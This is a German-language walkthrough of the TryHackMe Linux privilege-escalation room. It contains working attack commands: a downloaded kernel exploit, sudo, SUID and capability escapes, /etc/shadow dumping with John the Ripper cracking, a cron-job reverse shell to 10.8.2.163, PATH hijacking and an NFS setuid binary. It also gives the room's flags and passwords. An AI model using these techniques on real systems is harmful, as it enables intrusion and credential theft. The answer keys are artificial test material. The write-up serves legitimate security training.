https://tryhackme.com/room/linprivesc
Task 1 Introduction
Keine Fragen in diesem Task.
Task 2 What is Privilege Escalation?
Keine Fragen in diesem Task.
Task 3 Enumeration
Frage 1:
What is the hostname of the target system?
Den Hostname können wir uns mir „hostname“ anzeigen lassen.
$ hostname
wade7363
Antwort 1:
wade7363
Frage 2:
What is the Linux kernel version of the target system?
Kernelinformationen können wir uns mit „uname -a“ anzeigen lassen.
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x8
6_64 GNU/Linux
Antwort 2:
3.13.0-24-generic
Frage 3:
What Linux is this?
Die Linuxversion können wir über „/etc/issue“ erfahren.
$ cat /etc/issue
Ubuntu 14.04 LTS \n \l
Antwort 3:
Ubuntu 14.04 LTS
Frage 4:
What version of the Python language is installed on the system?
Dazu benutzen wir „python –version“.
$ python --version
Python 2.7.6
Antwort 4:
2.7.6
Frage 5:
What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)
Die Kernelversion haben wir bereits in Frage 2 erfahren. Nun googlen wir nach „3.13.0-24-generic ubuntu kernel vulnerabilities“ und erhalten die Lösung mit dem ersten Suchergebnis.
Antwort 5:
CVE-2015-1328
Task 4 Automated Enumeration Tools
Keine Fragen, aber ein paar nützliche Links:
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
- Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
Task 5 Privilege Escalation: Kernel Exploits
Frage 1:
find and use the appropriate kernel exploit to gain root privileges on the target system.
Diese Frage benötigt keine Antwort, wir gehen sie aber Schritt für Schritt durch.
Zuerst müssen wir die Kernelversion der Machine herausfinden:
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x8
6_64 GNU/Linux
Googlen wir nach einem passenden Exploit und werden fündig.
Auf unserem Rechner wechseln wir in das Verzeichnis in dem wir den Exploit gespeichert haben und starten einen http Server mit:
python3 -m http.server 1234
Wir wechseln auf die Attack Box der Machine und wechseln in das /tmp Verzeichnis, da es sonst zu Fehlern kommen könnte:
cd tmp
Nun können wir den Exploit herunterladen:
$ wget http://DEINE_THM_IP:1234/37292.c
--2022-10-20 13:07:33-- http://DEINE_THM_IP:1234/37292.c
Connecting to 10.8.2.163:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: ‘37292.c’
100%[===================================================>] 5,119 --.-K/s in 0s
2022-10-20 13:07:34 (233 MB/s) - ‘37292.c’ saved [5119/5119]
Jetzt müssen wir den Exploit noch kompilieren, da es sich um eine „rohe“ C-Datei handelt:
gcc 37292.c -o exploit
Den Exploit können wir jetzt mit ./exploit starten:
$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
Frage 2:
What is the content of the flag1.txt file?
Nachdem wir nun root sind, suchen wir unsere Flag:
# cd ..
# dir
bin cdrom etc initrd.img lib64 media optroot sbin sys usr vmlinuz
boot dev home lib lost+found mnt procrun srv tmp var
# cd home
# dir
matt
# cd matt
# dir
Desktop Downloads PicturesTemplates examples.desktop
Documents Music PublicVideos flag1.txt
# cat flag1.txt
THM-28392872729920
Antwort 2:
THM-28392872729920
Task 6 Privilege Escalation: Sudo
Frage 1:
How many programs can the user „karen“ run on the target system with sudo rights?
Mit „sudo -l“ können wir uns alle Programme anzeigen lassen, die wir mit sudo ausführen können:
$ sudo -l
Matching Defaults entries for karen on ip-10-10-201-249:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User karen may run the following commands on ip-10-10-201-249:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano
$
Antwort 1:
3
Frage 2:
What is the content of the flag2.txt file?
Begeben wir uns auf die Suche nach der Flag:
$ ls
bin dev home lib32libx32 media opt root sbin srv tmp var
boot etc lib lib64lost+found mnt proc run snap sys usr
$ cd home
$ ls
ubuntu
$ cd ubuntu
$ ls
flag2.txt
$ cat flag2.txt
THM-402028394
Antwort 2:
THM-402028394
Frage 3:
How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?
Auf GTFOBins finden wir die Lösung unter Nmap – sudo:
sudo nmap --interactive
Antwort 3:
sudo nmap –interactive
Frage 4:
What is the hash of frank’s password?
Da wir nano (ein Texteditor) mit sudo Rechten ausführen können, öffnen wir damit die /etc/shadow Datei (in dieser werden die Hashes gespeichert):
sudo nano /etc/shadow

Je nach Bildschirmgröße müssen wir vielleicht etwas scrollen.
Antwort 4:
$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HHjoV14aDEwW1c3CahzB1uaqeLR1
Task 7 Privilege Escalation: SUID
Frage 1:
Which user shares the name of a great comic book writer?
Auf der Machine lassen wir uns die Liste der Benutzer anzeigen:
nano /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
gerryconway:x:1001:1001::/home/gerryconway:/bin/sh
user2:x:1002:1002::/home/user2:/bin/sh
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
karen:x:1003:1003::/home/karen:/bin/sh
Ich habe keine Ahnung wer das ist, deswegen habe ich ihn lurz gegooglet. War ja zum Glück der einzige richtige Name in der Liste.
Antwort 1:
gerryconway
Frage 2:
What is the password of user2?
Zuerst müssen wir herausfinden was wir exploiten können. Im Task wird als Beispiel nano verwendet, testen wir nano stellen wir fest, dass es auf der Machine nicht klappt. Lassen wir uns Programme mit SUID anzeigen:
find / -type f -perm -04000 -ls 2>/dev/null
--snip--
1856 84 -rwsr-xr-x 1 root root 85064 May 28 2020 /usr/bin/chfn
2300 32 -rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
1816 164 -rwsr-xr-x 1 root root 166056 Jul 15 2020 /usr/bin/sudo
1634 40 -rwsr-xr-x 1 root root 39144 Jul 21 2020 /usr/bin/umount
1860 68 -rwsr-xr-x 1 root root 68208 May 28 2020 /usr/bin/passwd
1859 88 -rwsr-xr-x 1 root root 88464 May 28 2020 /usr/bin/gpasswd
1507 44 -rwsr-xr-x 1 root root 44784 May 28 2020 /usr/bin/newgrp
1857 52 -rwsr-xr-x 1 root root 53040 May 28 2020 /usr/bin/chsh
1722 44 -rwsr-xr-x 1 root root 43352 Sep 5 2019 /usr/bin/base64
1674 68 -rwsr-xr-x 1 root root 67816 Jul 21 2020 /usr/bin/su
2028 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
2166 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
1633 56 -rwsr-xr-x 1 root root 55528 Jul 21 2020 /usr/bin/mount
Wir haben einen spannenden Fund. Gucken wir auf GTFOBins nach möglichen Schwachstellen:

File read, genau das was wir brauchen:
base64 /etc/shadow | base64 --decode
gerryconway:$6$vgzgxM3ybTlB.wkV$48YDY7qQnp4purOJ19mxfMOwKt.H2LaWKPu0zKlWKaUMG1N7weVzqobp65RxlMIZ/NirxeZdOJMEOp3ofE.RT/:18796:0:99999:7:::
user2:$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/:18796:0:99999:7:::
lxd:!:18796::::::
karen:$6$VjcrKz/6S8rhV4I7$yboTb0MExqpMXW0hjEJgqLWs/jGPJA7N/fEoPMuYLY1w16FwL7ECCbQWJqYLGpy.Zscna9GILCSaNLJdBP1p8/:18796:0:99999:7:::
Für uns ist nur dieser untere Teil interessant. Um das Passwort herauszufinden müssen wir /etc/passwd und /etc/shadow durch John the Ripper laufen lassen. Wir speichern diesen Teil nun in einer Textdatei auf unserem Computer. Nennen wir sie „shadow.txt“.
Jetzt benötigen wir noch den Teil aus /etc/passwd. Diese können wir uns so anzeigen lassen:
base64 /etc/passwd | base64 --decode
gerryconway:x:1001:1001::/home/gerryconway:/bin/sh
user2:x:1002:1002::/home/user2:/bin/sh
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
karen:x:1003:1003::/home/karen:/bin/sh
Auch hier benötigen wir nur den unteren Teil. Speichern wir ihn in „passwd.txt“ auf unserem Rechner.
Jetzt „unshadowen“ wir diese Dateien mit folgendem Befehl:
unshadow passwd.txt shadow.txt > passwort.txt
Die neue Datei können wir jetzt mit John the Ripper cracken:
john --wordlist=/usr/share/wordlists/rockyou.txt passwort.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1 (karen)
Password1 (user2)
test123 (gerryconway)
3g 0:00:00:01 DONE (2022-10-23 13:44) 1.754g/s 10778p/s 15569c/s 15569C/s christal..tanika
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Antwort 2:
Password1
Frage 3:
What is the content of the flag3.txt file?
Nach einer kurzen Suche finden wir die Flag im Verzeichnis /home/ubuntu/flag3.txt. Wir benutzen den selben Trick wie in Frage 2:
$ base64 /home/ubuntu/flag3.txt | base64 --decode
THM-3847834
Antwort 3:
THM-3847834
Task 8 Privilege Escalation: Capabilities
Frage 1:
Complete the task described above on the target system
Hier holen wir uns wieder bei GTFOBins Hilfe, müssen nur py zu py3 ändern:
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
Erase is control-H (^H).
# whoami
root
#
Frage 2:
How many binaries have set capabilities?
getcap -r /
Die unteren Ausgaben sind die „fehlerfreien“:
--snip--
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep
Antwort 2:
6
Frage 3:
What other binary can be used through its capabilities?
Wir müssen unsere Binaries mit der Capabilies Liste auf GTFOBins vergleichen
Antwort 3:
view
Frage 4:
What is the content of the flag4.txt file?
In unserer neuen root shell begeben wir uns auf die Suche:
# ls
vim
# cd ..
# ls
karen ubuntu
# cd karen
# ls
vim
# cd ..
# cd ubuntu
# ls
flag4.txt view
# cat flag4.txt
THM-9349843
Antwort 4:
THM-9349843
Task 9 Privilege Escalation: Cron Jobs
Frage 1:
How many user-defined cron jobs can you see on the target system?
cat /etc/crontab
--snip--
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
Antwort 1:
4
Frage 2:
What is the content of the flag5.txt file?
In Frage 1 haben wir gesehen, dass backup.sh in unserem Verzeichnis abgelegt ist. Das bedeutet, dass wir diese Datei (mit unseren Rechten auf der Machine) auch ändern können. Öffnen wir backup.sh:
nano backup.sh
Wir ersetzen den kompletten Inhalt durch folgenden Code:
#!/bin/bash
bash -i >& /dev/tcp/10.8.2.163/1234 0>&1
Jetzt müssen wir die Datei noch ausführbar machen, anonsten kann sie der Cronjob nicht ausführen:
chmod +x backup.sh
Auf unserem Rechner starten wir einen Listener und warten auf den Anruf:
nc -lvnp 1234
Etwas später haben wir root Zugriff:
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.0.121.
Ncat: Connection from 10.10.0.121:55078.
bash: cannot set terminal process group (12983): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-0-121:~#
Endlich können wir uns den Inhalt der Flag anzeigen lassen:
root@ip-10-10-0-121:~# cat /home/ubuntu/flag5.txt
cat /home/ubuntu/flag5.txt
THM-383000283
root@ip-10-10-0-121:~#
Antwort 2:
THM-383000283
Frage 3:
What is Matt’s password?
Hier gehen wir vor wie in Task 7 und kopieren die Inhalte von /etc/passwd und /etc/shadow in jeweils eine Textdatei, unshadown sie und lassen das Passwort von John the Ripper cracken:
matt:$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2w2RUNauW8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.:18798:0:99999:7:::
matt:x:1002:1002::/home/matt:/bin/sh
unshadow passwd.txt shadow.txt > passwort.txt
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt passwort.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (matt)
1g 0:00:00:00 DONE (2022-10-23 15:16) 5.882g/s 12047p/s 12047c/s 12047C/s 123456..lovers1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Antwort 3:
123456
Task 10 Privilege Escalation: PATH
Frage 1:
What is the odd folder you have write access for?
Mit dem vorgegebenen Befehl lassen wir uns die schreibbaren Ordner ausgeben:
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
dev/char
dev/fd
dev/full
dev/fuse
dev/log
dev/mqueue
dev/net
dev/null
dev/ptmx
dev/pts
dev/random
dev/shm
dev/stderr
dev/stdin
dev/stdout
dev/tty
dev/urandom
dev/zero
etc/udev
home/murdoch
run/acpid.socket
run/dbus
run/lock
run/screen
run/shm
run/snapd-snap.socket
run/snapd.socket
run/systemd
run/user
run/uuidd
snap/core
snap/core18
snap/core20
sys/fs
sys/kernel
tmp
tmp/.ICE-unix
tmp/.Test-unix
tmp/.X11-unix
tmp/.XIM-unix
tmp/.font-unix
usr/lib
var/crash
var/lock
var/tmp
Antwort 1:
/home/murdoch
Frage 2:
What is the content of the flag6.txt file?
In Frage 1 haben wir Schreibrechte auf dem ungewöhnlichen Murdoch Ordner, wir sollten uns mal seinen Inhalt ansehen:
cd /home/murdoch
ls
$ ls
test thm.py
thm.py ist ein Programm, das in der Programmiersprache Python geschrieben wurden. Mit „cat thm.py“ können wir uns den Code ansehen:
$ cat thm.py
/usr/bin/python3
import os
import sys
try:
os.system("thm")
except:
sys.exit()
Das Programm beruft sich auf „thm“ aber bringt uns momentan nicht weiter. Schauen wir uns „test“ an und versuchen es auszuführen:
./test
sh: 1: thm: not found
„test“ benötigt also auch „thm“ . Vielleicht kann uns das mit einem kleinem Script weiterhelfen. Suchen wir zuerst den Pfad der flag6.txt. Diese befindet sich unter /home/matt/flag6.txt.
Erstellen wir im murdoch Ordner usere „thm“ Datei:
nano thm
Und fügen folgenden Text ein:
cat /home/matt/flag6.txt
Die neue Datei müssen wir ausführbar machen:
chmod +x thm
Zu guter Letzt müssen wir den neuen Pfad noch der PATH Variablen hinzufügen:
export PATH=/home/murdoch:$PATH
Jetzt können wir „test“ ausführen:
./test
./test
THM-736628929
Antwort 2:
THM-736628929
Task 11 Privilege Escalation: NFS
Frage 1:
How many mountable shares can you identify on the target system?
Wir loggen uns auf der Machine ein und geben folgenden Befehl ein:
cat /etc/exports
$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)
Antwort 1:
3
Frage 2:
How many shares have the „no_root_squash“ option enabled?
Aus der Antwort zu Frage 1 sehen wir, dass alle 3 shares no_root_squash aktiviert haben.
Antwort 2:
3
Frage 3:
Gain a root shell on the target system
Zuerst erstellen wir uns ein neues Verzeichnis. Dieses mounten wir auf die Machine:
mkdir /tmp/machine
Jetzt mounten wir unseren Ordner auf ein no_root_squash Verzeichnis der Machine. Sudo ist wichtig, wenn wir keinen root Account auf unserem Rechner verwenden:
sudo mount -o rw 10.10.151.141:/tmp /tmp/machine
Wir wechseln in das neue Verzeichnis (quasi auf die Machine):
cd /tmp/machine
Anschließend erstellen wir unseren kleinen Code:
nano nfs.c
Und fügen folgendes ein:
int main()
{ setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
Jetzt müssen wir unser Programm durch den Compiler laufen lassen und Rechte setzen:
gcc nfs.c -o nfs -w
chmod +s nfs
Jetzt loggen wir uns per SSH auf der Machine ein und navigieren in das tmp Verzeichnis:
cd /tmp
Hier sind unsere beiden Dateien (nfs und nfs.c) führen wir also nfs aus und erhalten root:
./nfs
Jetzt haben wir root Zugriff.
Frage 4:
What is the content of the flag7.txt file?
Da wir nun root Zugriff auf die Machine haben, lassen wir uns den Inhalt der Flag ausgeben:
cat /home/matt/flag7.txt
Antwort 4:
THM-89384012
Task 12 Capstone Challenge
Frage 1:
What is the content of the flag1.txt file?
Fangen wir simpel an und lassen uns erstmal die Userliste anzeigen:
nano /etc/passwd
Diese speichern wir wieder in einer passwd.txt Datei. Jetzt benötigen wir noch /etc/shadow, um beide Dateien zu „unshadowen“ und sie anschließend mit John the Ripper zu cracken.
Suchen wir wieder nach Dateien mit der Berechtigung „s“:
find / -type f -perm -04000 -ls 2>/dev/null
HIer finden wir wieder base64 (wie in Task 7):
[leonard@ip-10-10-51-214 ~]$ find / -type f -perm -04000 -ls 2>/dev/null
16779966 40 -rwsr-xr-x 1 root root 37360 Aug 20 2019 /usr/bin/base64
17298702 60 -rwsr-xr-x 1 root root 61320 Sep 30 2020 /usr/bin/ksu
--snip--
Mit base64 können wir uns (trotz nicht ausreichender Berechtigung) den Inhalt von /etc/shadow anzeigen lassen:
base64 /etc/shadow | base64 --decode
Den Inhalt von /etc/shadow kopieren wir in eine shadow.txt Datei auf unserem Rechner.
Jetzt müssen wir beide Dateien „unshadowen“:
unshadow passwd.txt shadow.txt > passwort.txt
Und mit John the Ripper cracken:
john --wordlist=/usr/share/wordlists/rockyou.txt passwort.txt
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt passwort.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1 (missy)
Penny123 (leonard)
Wir konnten das Passwort von missy herausfinden, also loggen wir uns per ssh mit missys Account ein und suchen die Flag:
[missy@ip-10-10-51-214 ~]$ ls
Desktop Documents Downloads Music perl5 Pictures Public Templates Videos
[missy@ip-10-10-51-214 ~]$ cd Documents
[missy@ip-10-10-51-214 Documents]$ ls
flag1.txt
[missy@ip-10-10-51-214 Documents]$ cat flag1.txt
THM-42828719920544
Antwort 1:
THM-42828719920544
Frage 2:
What is the content of the flag2.txt file?
Neue Account, neues Glück. Wir lassen und diesmal alle Programme anzeigen, die wir mit sudo ausführen können:
sudo -l
[missy@ip-10-10-51-214 Documents]$ sudo -l
Matching Defaults entries for missy on ip-10-10-51-214:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User missy may run the following commands on ip-10-10-51-214:
(ALL) NOPASSWD: /usr/bin/find
Wir können also find mit sudo ausführen. Gehen wir wieder auf GTFOBins und suchen eine Schwachstelle mit find:

Holen wir uns den root Zugriff:
[missy@ip-10-10-51-214 Documents]$ sudo find . -exec /bin/sh \; -quit
sh-4.2# whoami
root
Suchen wir die Flag:
sh-4.2# ls
flag1.txt
sh-4.2# cd ..
sh-4.2# ls
Desktop Documents Downloads Music perl5 Pictures Public Templates Videos
sh-4.2# cd ..
sh-4.2# ls
leonard missy rootflag
sh-4.2# cd rootflag
sh-4.2# ls
flag2.txt
sh-4.2# cat flag2.txt
THM-168824782390238
sh-4.2#
Antwort 2:
THM-168824782390238
Hiermit ist der Jr Penetration Tester Pfad beendet und wir hab ein weiteres Zertifikat in unserer Sammlung!